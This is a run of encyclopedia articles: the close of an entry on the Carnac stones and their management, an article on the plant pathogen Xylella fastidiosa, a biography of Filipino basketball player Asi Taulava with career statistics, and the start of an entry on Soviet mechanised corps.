The monuments themselves were listed and purchased by the State at the start of the 20th century to protect them against quarrymen, and while this was successful at the time, in the middle of the century, redevelopment, changes to agricultural practices and increasing tourism bringing visitors to the stones led to rapid deterioration. The Ministère de la Culture et de la Communication (Heritage Ministry) re-examined the issue starting in 1984, and subsequently set up the ‘Mission Carnac’ in 1991 with the aim of rehabilitating and developing the alignments. This involved restricting public access, launching a series of scientific and technical studies, and producing a plan for conservation and development in the area.
As with the megalithic structure of Stonehenge in England, management of the stones can be controversial. Since 1991, the main groups of stone rows have been protected from the public by fences "to help vegetation growth", preventing visits except by organised tours. They are open during winter, however.
When James Miln studied the stones in the 1860s, he reported that fewer than 700 of the 3,000 stones were still standing, and subsequent work during the 1930s and 1980s (using bulldozers) rearranged the stones, re-erecting some, to make way for roads or other structures. In 2002, protesters invaded the site, opening the padlocks and allowing tourists free entry. In particular, the group Collectif Holl a gevred (French and Breton for "the everyone-together collective") occupied the visitor centre for the Kermario alignment, demanding an immediate stop to current management plans and local input into further plans.
In recent years, management of the site has also experimented with allowing sheep to graze among the stones, in order to keep gorse and other weeds under control.
In June 2023, 39 menhirs still outside the UNESCO protected site were destroyed to construct a DIY store of the Mr. Bricolage franchise, which obtained a building permit from the local town hall in August 2022. The affected stones are located in the town of Montaubin, separate from the primary tourist locations of Ménec and Kermario, which are situated a little over 1.5km (1 mile) away.
The town's mayor, Olivier Lepick, told AFP that he had "followed the law" and pointed to the "low archaeological value" of objects found during checks before the construction process began. He also admitted to being unaware that the site was listed on the Heritage Atlas, despite reportedly presiding over the group that applied for UNESCO status for the prehistoric sites. While Lepick blamed the region's complex zoning situation, the researcher Christian Obeltz claimed that "elected officials in the area and the department are in a hurry to build up anything because once it is classified with UNESCO, it won't be possible anymore". The local Koun Breizh association has decided to lodge a complaint with the public prosecutor of Vannes for willful destruction of sites that relate to archaeological heritage.
See also
Prehistory of Brittany
Passage grave
Megalith
List of megalithic sites
Michelsberg culture
References
Notes
General references
Carnac: Guide pratique 2006 (provided by Carnac tourist office)
External links
Carnac stones official website
Carnac official website
Official website of Prehistory Museum of Carnac
Carnac at france-for-visitors.com (includes map)
Online photo exhibition of the Carnac region's megaliths includes the giant menhir of Loqmariaquer, and marked and inscribed stones
An amateur's guide to visiting the Carnac stones by car
The megaliths of Carnac: Dolmen / passage graves – comprehensive list of dolmens in area with photos.
The Megalithic Portal and Megalith Map – GPS coordinates of megalithic sites
menhirslibres.org – website for a protest group.
Online maps
Megaliths of Carnac: Dolmen / Passage Graves – main sites in the Morbihan area
Carnac – historical map
Carnac - a megalithic wonderland - M E g A L i T h i A – basic arrangement of the main alignments
Archaeoastronomy
Megalithic monuments in Brittany
Buildings and structures in Morbihan
Geography of Brittany
Tourist attractions in Morbihan
Stone Age sites in France
Stone circles in Europe
Monuments of the Centre des monuments nationaux
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https://en.wikipedia.org/wiki/Xylella%20fastidiosa
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Xylella fastidiosa
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Xylella fastidiosa is an aerobic, Gram-negative bacterium of the genus Xylella. It is a plant pathogen, that grows in the water transport tissues of plants' (xylem vessels) and is transmitted exclusively by xylem sap-feeding insects such as sharpshooters and spittlebugs. Many plant diseases are due to infections of X. fastidiosa, including bacterial leaf scorch, oleander leaf scorch, coffee leaf scorch (CLS), alfalfa dwarf, phony peach disease, and the economically important Pierce's disease of grapes (PD), olive quick decline syndrome (OQDS), and citrus variegated chlorosis (CVC). While the largest outbreaks of X. fastidiosa–related diseases have occurred in the Americas and Europe, this pathogen has also been found in Taiwan, Israel, and a few other countries worldwide.
Xylella fastidiosa can infect an extremely wide range of plants, many of which do not show any symptoms of disease. Disease occurs in plant species that are susceptible due to blockage of water flow in the xylem vessels caused by several factors: bacterial obstruction, overreaction of the plant immune response (tylose formation), and formation of air embolisms. A strain of X. fastidiosa responsible for citrus variegated chlorosis was the first bacterial plant pathogen to have its genome sequenced, in part because of its importance in agriculture. Due to the significant impacts of this pathogen on agricultural crops around the world there is substantial investment in scientific research related to X. fastidiosa and the diseases it causes.
Pathogen anatomy and disease cycle
Xylella fastidiosa is rod-shaped, and at least one subspecies has two types of pili on only one pole; longer, type IV pili are used for locomotion, while shorter, type I pili assist in biofilm formation inside their hosts. As demonstrated using a PD-related strain, the bacterium has a characteristic twitching motion that enables groups of bacteria to travel upstream against heavy flow, such as that found in xylem vessels. It is obligately insect-vector transmitted from xylem-feeding insects directly into xylem, but infected plant material for vegetative propagation (e.g. grafting) can produce mature plants that also have an X. fastidiosa disease. In the wild, infections tend to occur during warmer seasons, when insect vector populations peak. The bacterium is not seed transmitted, but instead is transmitted through "xylem feed-ing, suctorial homopteran insects such as sharpshooter leafhoppers and spittle bugs" and has been historically difficult to culture (fastidious), as its specific epithet, fastidiosa, reflects.
X. fastidiosa can be divided into four subspecies that affect different plants and have separate origins. is the most studied subspecies, as it is the causal agent of PD; it is thought to have originated in southern Central America, and also affects other species of plants. X. f. multiplex affects many trees, including stone-fruit ones such as peaches and plums, and is thought to originate in temperate and southern North America. X. f. pauca is believed to have originated in South America. It is the causal agent of citrus variegated chlorosis (CVC) in Brazil and also affects South American coffee crops, causing coffee leaf scorch. X. f. sandyi is thought to have originated in the southern part of the United States, and is notable for causing oleander leaf scorch.
X. fastidiosa has a two-part lifecycle, which occurs inside an insect vector and inside a susceptible plant. While the bacterium has been found across the globe, only once the bacterium reaches systemic levels do symptoms present themselves. Once established in a new region, X. fastidiosa spread is dependent on the obligate transmission by xylem-sap feeding insect. Within susceptible plant hosts, X. fastidiosa forms a biofilm-like layer within xylem cells and tracheary elements that can completely block the water transport in affected vessels.
Strains
is a nonpathogenic strain of X.f. which is used as a biocontrol of its relatives. (Really it is dramatically less pathogenic. It does colonize grape vines but rarely and less severely.) Zhang et al., 2011 finds very little genomic distance between pathogenic and EB92-1 strains.
Symptoms
Significant variation in symptoms is seen between diseases, though some symptoms are expressed across species. On a macroscopic scale, plants infected with a X. fastidiosa-related disease exhibit symptoms of water, zinc, and iron deficiencies, manifesting as leaf scorching and stunting in leaves turning them yellowish-brown, gummy substance around leaves, fruit reduction in size and quality, and overall plant height. As the bacterium progressively colonizes xylem tissues, affected plants often block off their xylem tissue, which can limit the spread of this pathogen; blocking can occur in the form of polysaccharide-rich gels, tyloses, or both. These plant defenses do not seem to hinder the movement of X. fastidiosa. Occlusion of vascular tissue, while a normal plant response to infection, makes symptoms significantly worse; as the bacterium itself also reduces vascular function, a 90% reduction of vascular hydraulic function was seen in susceptible Vitis vinifera. This bacterium rarely completely blocks vascular tissue. There usually is a slight amount of vascular function that keeps the plant alive, but makes its fruit or branches die, making the specific plant economically nonproductive. This can cause a massive drop on supply of quality fruit. Smaller colonies usually occur throughout a high proportion of xylem vessels of a symptomatic plant.
X. fastidiosa is a Gram-negative, xylem-limited illness that is spread by insects. It can damage a variety of broadleaved tree species that are commonly grown in the United States. X. Fastidiosa can be found in about 600 different plant species.
Withering and desiccation of branches
Leaf chlorosis
Dwarfing or lack of growth of the plant
Drooping appearance and shorter internodes
Shriveled fruits on infected plants
Premature fruit abscission
gum-like substance on leave
hardening and size reduction of fruit
Pierce's disease
Severe PD symptoms include shriveled fruit, leaf scorching, and premature abscission of leaves, with bare petioles remaining on stems.
Citrus variegated chlorosis
This disease is named after the characteristic spotty chlorosis on upper sides of citrus leaves. Fruits of infected plants are small and hard.
Leaf scorches
In coffee, premature abscission of leaves and fruits is of bigger concern than scorching. Some isolates cause , in California that includes and . Coffee Leaf Scorch (CLS) is a disease caused by the causal agent Xylella fastidiosa that is economically significant in Brazil. Citrus variegated chlorosis (CVC), another significant disease in this region caused by a strain of X. fastidiosa has been shown to infect coffee plants with CLS. The disease has also been found in Costa Rica's Central Valley where it is referred to as ‘crespera’ disease by coffee growers. Symptoms of the bacterial infection in coffee plants feature curling leaf margins, chlorosis and irregularly shaped leaves, stunting and reduced plant growth, and branch atrophy. The disease reduced coffee production by up to 30% in plantations across Brazil. X. fastidiosa was discovered in Apulia, Italy in 2013 for the first time as a destructive disease agent of olive trees and likely came from strains present in asymptomatic plant material imported from Costa Rica.
Environment
X. fastidiosa occurs worldwide, though its diseases are most prominent in riparian habitats including the southeastern United States, California, and South America.
Symptoms of X. fastidiosa diseases worsen during hot, dry periods in the summer; lack of water and maximum demand from a full canopy of leaves, combined with symptoms due to disease, stress infected plants to a breaking point. Cold winters can limit the spread of the disease, as it occurs in California, but not in regions with milder winters such as Brazil. Additionally, dry summers seem to delay symptom development of PD in California.
Any conditions that increase vector populations can increase disease incidence, such as seasonal rainfall and forests or tree cover adjacent to crops, which serve as alternate food sources and overwintering locations for leafhoppers.
Alexander Purcell, an expert on X. fastidiosa, hypothesized that plants foreign to X. fastidiosas area of origin, the neotropical regions, are more susceptible to symptom development. Thus, plants from warmer climates are more resistant to X. fastidiosa disease development, while plants from areas with harsher winters, such as grapes, are more severely affected by this disease.
Host species
X. fastidiosa has a very wide host range; as of 2020, its known host range was 595 plant species, with 343 species confirmed by two different detection methods, in 85 botanical families. Most X. fastidiosa host plants are dicots, but it has also been reported in monocots and ginkgo, a gymnosperm. However, the vast majority of host plants remain asymptomatic, making them reservoirs for infection.
Due to the temperate climates of South America and the southeastern and west coast of the United States, X. fastidiosa can be a limiting factor in fruit crop production, particularly for stone fruits in northern Florida and grapes in California. In South America, X. fastidiosa can cause significant losses in the citrus and coffee industries; a third of today's citrus crops in Brazil has CVC symptoms.
X. fastidiosa also colonizes the foreguts of insect vectors, which can be any xylem-feeding insects, often sharpshooters in the Cicadellidae subfamily Cicadellinae. After an insect acquires X. fastidiosa, it has a short latent period around 2 hours, then the bacterium is transmissible for a period of a few months or as long as the insect is alive. The bacterium multiplies within its vectors, forming a "bacterial carpet" within the foregut of its host. If the host sheds its foregut during molting, the vector is no longer infected, but can reacquire the pathogen. At present, no evidence shows that the bacterium has any detrimental effect on its insect hosts.
Oleander
Oleander leaf scorch is a disease of landscape oleanders (Nerium oleander) caused by a X. fastidiosa strain that has become prevalent in California and Arizona, starting in the mid-1990s. This disease is transmitted by a type of leafhopper (insect) called the glassy-winged sharpshooter (Homalodisca coagulata). Oleander is commonly used in decorative landscaping in California, so the plants serve as widely distributed reservoirs for Xylella.
Both almond and oleander plants in the Italian region of Apulia have also tested positive for the pathogen.
Grape vines
Pierce's disease (PD) was discovered in 1892 by Newton B. Pierce (1856–1916; California's first professional plant pathologist) on grapes in California near Anaheim, where it was known as "Anaheim disease". The disease is endemic in Northern California, being spread by the blue-green sharpshooter, which attacks only grapevines adjacent to riparian habitats. It became a real threat to California's wine industry when the glassy-winged sharpshooter, native to the Southeast United States, was discovered in the Temecula Valley in California in 1996; it spreads PD much more extensively than other vectors.
Symptoms of infection on grape vines
When a grape vine becomes infected, the bacterium causes a gel to form in the xylem tissue of the vine, preventing water from being drawn through the vine. Leaves on vines with Pierce's disease turn yellow and brown, and eventually drop off the vine. Shoots also die. After one to five years, the vine itself dies. The proximity of vineyards to citrus groves compounds the threat, because citrus is not only a host of sharpshooter eggs, but also is a popular overwintering site for this insect.
Collaborative efforts for solutions
In a unique effort, growers, administrators, policy makers, and researchers are working on a solution for this immense X. fastidiosa threat. No cure has been found, but the understanding of X. fastidiosa and glassy-winged sharpshooter biology has markedly increased since 2000, when the California Department of Food and Agriculture, in collaboration with different universities, such as University of California, Davis; University of California, Berkeley; University of California, Riverside, and University of Houston–Downtown started to focus their research on this pest. The research explores the different aspects of the disease propagation from the vector to the host plant and within the host plant, to the impact of the disease on California's economy. All researchers working on Pierce's disease meet annually in San Diego in mid-December to discuss the progress in their field. All proceedings from this symposium can be found on the Pierce's disease website, developed and managed by the Public Intellectual Property Resource for Agriculture (PIPRA).
Few resistant Vitis vinifera varieties are known, and Chardonnay and Pinot noir are especially susceptible, but muscadine grapes (V. rotundifolia) have a natural resistance. Pierce's disease is found in the Southeastern United States and Mexico. Also, it was reported by Luis G. Jiménez-Arias in Costa Rica, and Venezuela, and possibly in other parts of Central and South America. In 2010, X. fastidiosa became apparent in Europe, posing a serious, real threat. There are isolated hot spots of the disease near creeks in Napa and Sonoma in Northern California.
Work is underway at UC Davis to breed PD resistance from V. rotundifolia into V. vinifera. The first generation was 50% high-quality V. vinifera genes, the next 75%, the third 87% and the fourth 94%. In the spring of 2007, seedlings that are 94% V. vinifera were planted.
A resistant variety, 'Victoria Red', was released for use especially in Coastal Texas.
Olive trees
In October 2013, the bacterium was found infecting olive trees in the region of Apulia in southern Italy. The disease caused rapid decline in olive grove yields, and by April 2015, was affecting the whole Province of Lecce and other zones of Apulia,
though it had not previously been confirmed in Europe. The subspecies involved in Italy is X. f. pauca, which shows a marked preference for olive trees and warm conditions and is thought to be unlikely to spread to Northern Europe.
The cycle in olives has been called olive quick decline syndrome (in ). The disease causes withering and desiccation of terminal shoots, distributed randomly at first but then expanding to the rest of the canopy resulting in the collapse and death of trees. In affected groves, all plants normally show symptoms. The most severely affected olives are the century-old trees of local cultivars Cellina di Nardò and Ogliarola salentina.
By 2015, the disease had infected up to a million olive trees in Apulia and Xylella fastidiosa had reached Corsica, By October 2015, it had reached Mainland France, near Nice, in Provence-Alpes-Côte d'Azur, affecting the non-native myrtle-leaf milkwort (Polygala myrtifolia). This is the subspecies X. fastidiosa subsp. multiplex which is considered to be a different genetic variant of the bacterium to that found in Italy. On 18 August 2016 in Corsica, 279 foci of the infection have been detected, concentrated mostly in the south and the west of the island. In August 2016, the bacterium was detected in Germany in an oleander plant. In January 2017 it was detected in Mallorca and Ibiza.
Notably, in 2016, olive leaf scorch was first detected in X. fastidiosas native range, in Brazil.
In June 2017, it was detected in the Iberian peninsula, specifically in Guadalest, Alicante. In 2018, it was detected in Spain and Portugal, and in Israel in 2019.
Citrus
Xylella infection was detected in South American citrus in the 1980s and subsequently in the USA but had limited spread beyond the America's until the detection in citrus groves in Portugal in 2023.
Genome sequencing
The genome of X. fastidiosa was sequenced by a pool of over 30 research laboratories in the state of São Paulo, Brazil, funded by the São Paulo Research Foundation.
In popular culture
Two episodes of the Canadian television show ReGenesis investigated X. fastidiosa, the cause of a massive loss in Florida orange groves.
See also
Bacterial leaf scorch
Homalodisca vitripennis
Philaenus spumarius
References
Further reading
CDFA PD/GWSS Board Website PD/GWSS Interactive Forum
External links
Type strain of Xylella fastidiosa at BacDive - the Bacterial Diversity Metadatabase
Bacteria described in 1987
Bacterial grape diseases
Bacterial citrus diseases
Bacterial plant pathogens and diseases
Xanthomonadales
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https://en.wikipedia.org/wiki/Asi%20Taulava
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Asi Taulava
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Pauliasi Taulava (born March 2, 1973) is a Tongan-born Filipino former professional basketball player in the Philippine Basketball Association (PBA).
Standing 6 ft 9 in (2.06 m) tall and weighing 245 pounds (111 kg), Taulava is considered by many to be one of the greatest and most dominant Filipino basketball players to ever play the center position in the PBA. Throughout his 21-year career, Taulava has used his size and strength to overpower opponents for points and rebounds. He is also a many-time member of the Philippine national team in international competitions.
Following his career in the PBL, Taulava entered the PBA in 1999, when he was directly hired by the Mobiline Phone Pals. With his performance, he quickly emerged as one of the top centers in the league, even winning the 2003 MVP award. After eight years with Talk N' Text, he was traded to the Coca-Cola Tigers where he played until 2010. He was later traded to the Meralco Bolts, leading the team for two seasons with his presence and style. In 2012, Taulava decided to leave the PBA to play for the San Miguel Beermen in the ABL. After a brief stint in the league, he returned to the PBA in 2013, where he signed for the Air21 Express.
Taulava's individual accolades include the 2003 MVP award, two All-Star Game MVP awards and the 2013 ABL MVP award.
However, Taulava is also one of the most controversial figures in Philippine basketball due to his numerous issues about his citizenship since he arrived in the local basketball scene in 1997.
He is also known for his dyed hair, although he has also shaved his head bald numerous times in the past. His moniker is "The Rock".
Taulava is also a brand ambassador of the sports clothing brand Under Armour Philippines.
Philippine Basketball League
In 1997 Taulava, a 6 foot 9 inch center from Tonga, along with several Filipino-foreign cagers bannered Blu Detergent in the PBL, where he showed some promise. In 1998, Blu management included Taulava to their roster in the PBL Centennial Cup.
Asi emerged as one of the top players in the league, alongside Tanduay rival Eric Menk. The two had a rivalry of sorts when both players matched-up in two games between Blu and Tanduay.
Taulava led the Detergent Kings and Tia Marias to the semi-finals but failed to lead his team in the finals due to severe bleeding and insomnia.
PBA career
Talk 'N Text Phone Pals (1999–2007)
He was directly hired by the Mobiline Phone Pals to boost up their frontline. From 1999 to 2002, he was only able to lead the team to a single finals stint which happened during the 2002 Commissioner's Cup, ending as runners-up.
2003 was a fruitful year for Taulava when he led the Phone Pals to the All-Filipino Championship while being named as the Best Player of the Conference. At season's end, he became the first Fil-foreign cager since Great Taste's Ricardo Brown in 1985 to win the Most Valuable Player Award.
In 2004, they ended in third place. Taulava, along with teammate Jimmy Alapag, was named as the co-MVP of the All-Star Game held in Cebu City.
During the 2004–05 PBA season, the Department of Justice announced that Taulava and five other Fil-foreign cagers have irregular documents. PBA commissioner Noli Eala indefinitely suspended him and some of the other players. But even without Taulava, the Phone Pals were still able to have a good elimination round record of 12–6. Later, a series of controversies rocked during the course of the Philippine Cup Finals as the Phone Pals lost in five games. In the Fiesta Conference, he led them again to the finals but still lost to the San Miguel Beermen in game five.
During the 2005 off-season, Taulava played for Team Pilipinas in the William Jones Cup and the Brunei Cup tournaments.
During the 2005-06 PBA season, Taulava was named MVP of the All-Star Game held in Cagayan de Oro in 2006 as he led the South All-Stars to a 122–120 win over the North All-Stars.
In 2006–2007, the Phone Pals reached the semi-finals during the Philippine Cup but lost to the Barangay Ginebra Kings in six games. On the following conference, the team reached the finals despite his absence. However, they were still not able to get the crown against the Alaska Aces.
Coca-Cola Tigers (2007–2010)
On December 5, 2007, In the middle of 2007–2008 Philippine Cup, he was traded to the Coca-Cola Tigers in exchange for Ali Peek and the Tigers 2008 first round pick, who turned out to be Jared Dillinger. Asi's numbers and style of play was then rejuvenated with the new team, lifting the Tigers from wildcard to quarterfinals, but eventually losing to Alaska, 2–0.
In the 2007–2008 season, Taulava averaged 13.5 points, 1.9 assists, 12.5 rebounds, 0.4 steals and 0.6 blocks per game.
On March 29, 2008, in an out-of-town game in Panabo City, Davao del Norte, Taulava tossed in seven points, including a short stab with 11:11 left in the third quarter which made him the 58th member of the PBA's 5,000-point club.
Taulava made his 12th PBA All-Star appearance in the 2010 PBA All-Star Weekend, as he played in the All-Star Game at the Puerto Princesa Coliseum in Palawan. The 2003 MVP awardee was part of the South team’s First 5 alongside Kelly Williams, Eric Menk, Cyrus Baguio, and James Yap. They eventually lost the game against the North All-Stars, 133–130.
Meralco Bolts (2010–2012)
On September 22, 2010, he was traded to the expansion team Meralco Bolts in exchange for Jason Misolas and Khasim Mirza as part of a three-team deal with the Barako Bull Energy Boosters. When asked upon the center's arrival to the new team, coach Ryan Gregorio said: "Asi (Taulava) is a great welcome addition for us. We definitely need size since it is only Marlou (Aquino) who’s our legitimate center." He also added: "His addition certainly deepens our rotation up front. I am very happy that we got him (Taulava). With him on the team, it improves our team in a flash. Like I said before, if we can fast-track things, we will. This is a big development for us." However, after the departure of Marlou Aquino to the Barako Bull Energy Boosters, Taulava became Meralco's only center.
Taulava made his 2010–11 season debut for the Bolts on October 3, 2010, against the Barangay Ginebra Kings, wearing the number 55 instead of his more common number 88. The Filipino-Tongan player recorded 7 points and 8 rebounds in his first game with Meralco. His first double-double came twelve days after, as he scored 15 points and grabbed 14 rebounds in an 84–92 loss against his former team Talk N' Text.
Meralco opened the 2011 PBA Commissioner's Cup with a game against the Barangay Ginebra Kings on February 18, 2011. In his first game of the year, Taulava recorded a season high with 23 points and 10 rebounds but the Bolts eventually lost to Ginebra, 115–98.
He chose to wear the number 5 because it is also the number he wore in his recent stints at international competitions.
In the 2010–11 season, Taulava was not conceded full playing time and averaged career lows in almost every major statistical category, but still proved to be one of the focal points of Meralco's offense. He improved his numbers in the following season.
After leading the Bolts for two seasons, he decided to leave the organization and declined a two-year contract extension worth maximum salary. Taulava went to play for the San Miguel Beermen instead in the ABL. In 2013, he won the ABL Most Valuable Player award.
Air21 Express / NLEX Road Warriors (2013–2022)
Following a brief stint in the ABL, Taulava signed for the Air21 Express to play the 2013 PBA Governors' Cup, making him the oldest active PBA player at 40 years old. He made his debut on September 13, 2013, against his former team Talk N' Text, where he scored 7 points and led his team to a 106–102 victory.
Due to Air21 being unable to reach the playoffs of the 2013 Governor's Cup, Taulava finished the 2012–13 season with only 3 games.
In his second season with Air21, Taulava saw more action in the league. Express was eliminated in the first round of the 2013–14 Philippine Cup with a dismal 3–11 record. Taulava led Air21 to the quarterfinals of the 2014 Commissioner's Cup where they met the San Miguel Beermen. In a surprising upset, Air21 made their first semifinals appearance in franchise history, after beating the second-seeded Beermen with the knockout game ending in two overtimes. However, they were beaten by the eventual champions San Mig Super Coffee Mixers in their semifinals series that extended to Game 5. The 2003 MVP also led his team to the quarterfinals of the 2014 Governors' Cup, where they were ousted by Rain or Shine. The 41-year-old Taulava was averaging his most minutes (37.7) in five years and took on a much more significant role than in previous years. As a result, his numbers and style of play also were revived by his time in Air21 where he averaged 14.7 points, 12.3 rebounds, and 2.0 assists. His strong performance during the season also made him one of the candidates for the MVP award, which was ultimately won by June Mar Fajardo. At the season's end, Taulava was given the Comeback Player of the Year award.
Bothered by financial problems, the Air21 Express was acquired by expansion team NLEX Road Warriors before the start of the 2014–15 season. In August 2014, the 2003 MVP was also signed a two-year, maximum salary deal worth P10 million.
On October 14, 2016, Taulava was recognized during the PBA Leo Awards Night as he was named to the PBA Mythical Second Team.
PBA career statistics
Season-by-season averages
|-
| align=left |
| align=left | Mobiline
| 37 || 43.1 || .459 || .000 || .604 || 12.0 || 3.3 || .5 || .8 || 17.7
|-
| align=left |
| align=left | Mobiline
| 12 || 40.6 || .524 || — || .569 || 13.8 || 3.5 || 1.0 || .4 || 21.5
|-
| align=left |
| align=left | Mobiline / Talk 'N Text
| 22 || 39.1 || .452 || .200 || .631 || 12.8 || 1.5 || .5 || 1.3 || 19.9
|-
| align=left |
| align=left | Talk 'N Text
| 10 || 37.3 || .430 || .000 || .747 || 11.3 || 5.4 || .8 || 1.2 || 21.3
|-
| align=left |
| align=left | Talk 'N Text
| 54 || 42.2 || .493 || .254 || .544 || 13.7 || 3.6 || .4 || 1.3 || 23.4
|-
| align=left |
| align=left | Talk 'N Text
| 34 || 37.5 || .554 || .378 || .667 || 11.1 || 2.0 || .7 || .8 || 20.2
|-
| align=left |
| align=left | Talk 'N Text
| 41 || 35.1 || .491 || .125 || .455 || 13.0 || 1.6 || .5 || 1.1 || 14.9
|-
| align=left |
| align=left | Talk 'N Text
| 29 || 31.3 || .534 || .000 || .617 || 10.9 || 2.1 || .1 || .8 || 16.6
|-
| align=left rowspan=2|
| align=left | Talk 'N Text
| rowspan=2|45 || rowspan=2|32.0 || rowspan=2|.448 || rowspan=2|.250 || rowspan=2|.490 || rowspan=2|12.5 || rowspan=2|1.9 || rowspan=2|.4 || rowspan=2|.5 || rowspan=2|13.5
|-
| align=left | Coca-Cola
|-
| align=left |
| align=left | Coca-Cola
| 32 || 36.7 || .439 || .308 || .552 || 12.8 || 3.0 || .4 || .5 || 16.9
|-
| align=left |
| align=left | Coca-Cola
| 31 || 32.1 || .369 || .000 || .591 || 11.5 || 3.1 || .2 || .3 || 11.2
|-
| align=left |
| align=left | Meralco
| 31 || 23.0 || .481 || — || .495 || 7.9 || .7 || .2 || .5 || 7.5
|-
| align=left |
| align=left | Meralco
| 44 || 26.3 || .535 || — || .586 || 8.7 || .6 || .4 || .7 || 8.2
|-
| align=left |
| align=left | Air21
| 3 || 36.0 || .524 || — || .286 || 12.7 || 3.7 || .0 || 1.3 || 9.3
|-
| align=left |
| align=left | Air21
| 40 || 37.7 || .469 || .000 || .595 || 12.4 || 2.0 || .5 || .6 || 14.8
|-
| align=left |
| align=left | NLEX
| 36 || 32.2 || .490 || .000 || .658 || 9.9 || 1.9 || .3 || .3 || 13.9
|-
| align=left |
| align=left | NLEX
| 35 || 31.8 || .473 || .000 || .624 || 10.1 || 2.1 || .5 || .3 || 13.9
|-
| align=left |
| align=left | NLEX
| 31 || 10.3 || .441 || .250 || .667 || 3.0 || .7 || .2 || .2 || 3.5
|-
| align=left |
| align=left | NLEX
| 32 || 7.8 || .405 || .304 || .500 || 2.5 || .6 || .2 || .3 || 2.7
|-
| align=left |
| align=left | NLEX
| 20 || 8.3 || .286 || .207 || .833 || 3.1 || .5 || .3 || .3 || 2.0
|-
| align=left |
| align=left | NLEX
| 3 || 8.7 || .556 || .400 || .333 || 2.0 || .7 || .0 || 1.0 || 4.3
|-
| align=left |
| align=left | NLEX
| 1 || 2.2 || 1.000 || 1.000 || — || 2.0 || .0 || .0 || .0 || 3.0
|-
| align=left |
| align=left | NLEX
| 1 || 5.1 || .000 || .000 || — || .0 || .0 || .0 || .0 || .0
|- class=sortbottom
| style="text-align:center;" colspan="2"| Career
| 624 || 31.0 || .475 || .246 || .576 || 10.3 || 2.0 || .4 || .7 || 13.7
National team career
In 2002, Taulava played for Team Philippines in the 2002 Asian Games in Busan, Korea. Taulava showed promise during the said tournament in as Center but had a hard time guarding Chinese center, Yao Ming. In the end, the Philippines went home without a medal after suffering a harsh defeat in the semifinals against host Korea and even losing the bronze medal against Kazakhstan.
In 2005, Taulava was added in the Team Pilipinas Training Pool of Chot Reyes. He was part of the country's third-place finish in the William Jones Cup tournament behind Passing Lane Sports of the United States and host, Chinese Taipei. Taulava also led Team Pilipinas to the championship of the 5th Brunei Sultan Cup.
In 2006, Taulava participated in the team's 110–102 victory over the Dennis Rodman-led American team on May 1.
In 2007, Taulava was once again a national team member in 2007 FIBA Asia Championship in Japan. Despite Taulava's tremendous performance as Center, the team failed to pass the preliminary round, which was considered the "group of death", winning only one game against China and losing to eventual champion Iran and Jordan.
In 2008, he was again listed under the RP Training Pool under Coach Yeng Guiao.
In 2010, he played for the Smart Gilas during the Stankovic Cup Asia Tournament helping the team to a 4th-place finish.
Along with Kelly Williams, Taulava was granted the permission to play for Smart Gilas for the 2010 Asian Games in November. The team eventually reached 6th place in the tournament. In January 2011, Taulava declared his availability for Smart Gilas to represent the country at the 2011 FIBA Asia Championship, held in Wuhan, China. The 2003 MVP also said: "I’ll make all the necessary sacrifice for Team Pilipinas and our country. Let’s all unite for flag and country and make 2011 a year for Philippine basketball." In August 2011, Taulava joined the Smart Gilas Team for the 2011 William Jones Cup; in the preliminary round of the tournament, the Philippine team compiled a promising 5–2 record, before being eliminated in the semifinals by Iran. On August 9, 2011, during a game against Malaysia, Taulava got involved in an altercation with Yoong Jing Kwaan. The episode happened in the third quarter of the match; with less than 20 seconds remaining in the period, Taulava suddenly went down on the floor in pain after Yoong Jing Kwaan grabbed and squeezed his private parts. The Fil-Tongan then stood up, chased the Malaysian player and hit him twice in the head. The two were later tossed out with 7.4 seconds left in the period. Smart Gilas eventually won, 86–68. Taulava would later apologize for his actions.
In 2011, Taulava retired from international competitions after the stint at the 2011 FIBA Asia Championship. Taulava has been a member of the Philippines men's national basketball team since 2002.
In 2015, he returned to international competitions. He played for the national team at the 2015 FIBA Asia Championship where the Philippines took home the silver.
In 2018, he was part of the 12-man line-up of the Philippines men's basketball team for the 2018 Asian Games at Jakarta and Palembang, Indonesia. He played with Fil-Am NBA star Jordan Clarkson and finish fifth overall.
Awards and accomplishments
PBA
PBA Champion (2003 All-Filipino)
PBA Finals MVP (2003 All-Filipino)
2003 PBA Most Valuable Player
2004 PBA All-Stars Game Most Valuable Player (shared with Jimmy Alapag)
2009 Defensive Player of the Year
All-Filipino Best Player of the Conference (2003)
Reinforced Finals MVP (2003)
All-Star MVP (2006–2007)
Member, PBA 5,000 point club
2009 PBA PBA All-Defensive Team
2003 PBA PBA All-Defensive Team
2003 Mythical First Team
2008 Mythical First Team
2009 Mythical First Team
2002 Mythical Second Team
International
2002 Philippines-Chinese Taipei Basketball Series
2002 Philippines-Qatar Basketball Series
2002 Philippines-Melbourne Tigers Basketball Series
2002 Four Nations Invitational Tournament (Italy), 3rd place
2002 Asian Games, 4th place
2005 William Jones Cup, 3rd place (Bronze)
2005 Brunei Cup champions
2006 Philippines-Lebanon Basketball Series
2006 Brunei Cup champions
2007 FIBA Asia Champions Cup
2007 SEABA champions
2007 William Jones Cup, 3rd place (Bronze)
2007 Four Nations Invitational Tournament (Philippines) champions
2007 Philippines-Kuwait Basketball Series
2007 FIBA Asia Championship, 9th place
2009 Philippines-Australian Great White Sharks Basketball Series
2009 Philippines-PBA All-Star Exhibition Series
2009 SEABA champions
2011 Smart Ultimate All-Star Challenge (Smart Gilas)
2011 William Jones Cup, 3rd place (Bronze)
2013 ASEAN Basketball League MVP
2015 William Jones Cup, 2nd place (Silver)
2015 FIBA Asia Championship, 2nd place (Silver)
2018 Asian Games, 5th place
Controversy
Taulava's citizenship has been questioned ever since he arrived in the PBL in 1998. A government scrutiny from 1999 to 2000 about the alleged number of fake Fil-foreign cagers led to his deportation in April 2000. Taulava proved his citizenship when he returned to the country in 2001. Three years later, his name became a subject of DOJ's scrutiny on the said issue that led to his indefinite suspension in the PBA.
It is claimed that Taulava's mother, Pauline Hernandez Mateeaki, was born in the Samar Province. However, the documents are said to be inaccurate. Some reports even claim Hernandez was born in Tonga. While Taulava is now cleared by the Justice Department, it remains to be seen if his citizenship will be questioned again in the near future.
References
Sources
External links
Asi Taulava PBA.ph Profile
Asi Taulava's ABA statistics
1973 births
Living people
Air21 Express players
ASEAN Basketball League players
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https://en.wikipedia.org/wiki/Mechanised%20corps%20%28Soviet%20Union%29
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Mechanised corps (Soviet Union)
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A mechanised corps was a Soviet armoured formation used prior to the beginning of World War II and reintroduced during the war, in 1942.
Pre-war development of Soviet mechanised forces
In Soviet Russia, the term armored forces (thus called Bronevyye sily) preceded the mechanised corps. They consisted of the autonomous armored units (avtobroneotryady) made of armored vehicles and armored trains. The country did not have its own tanks during the Civil War of 1918–1920.
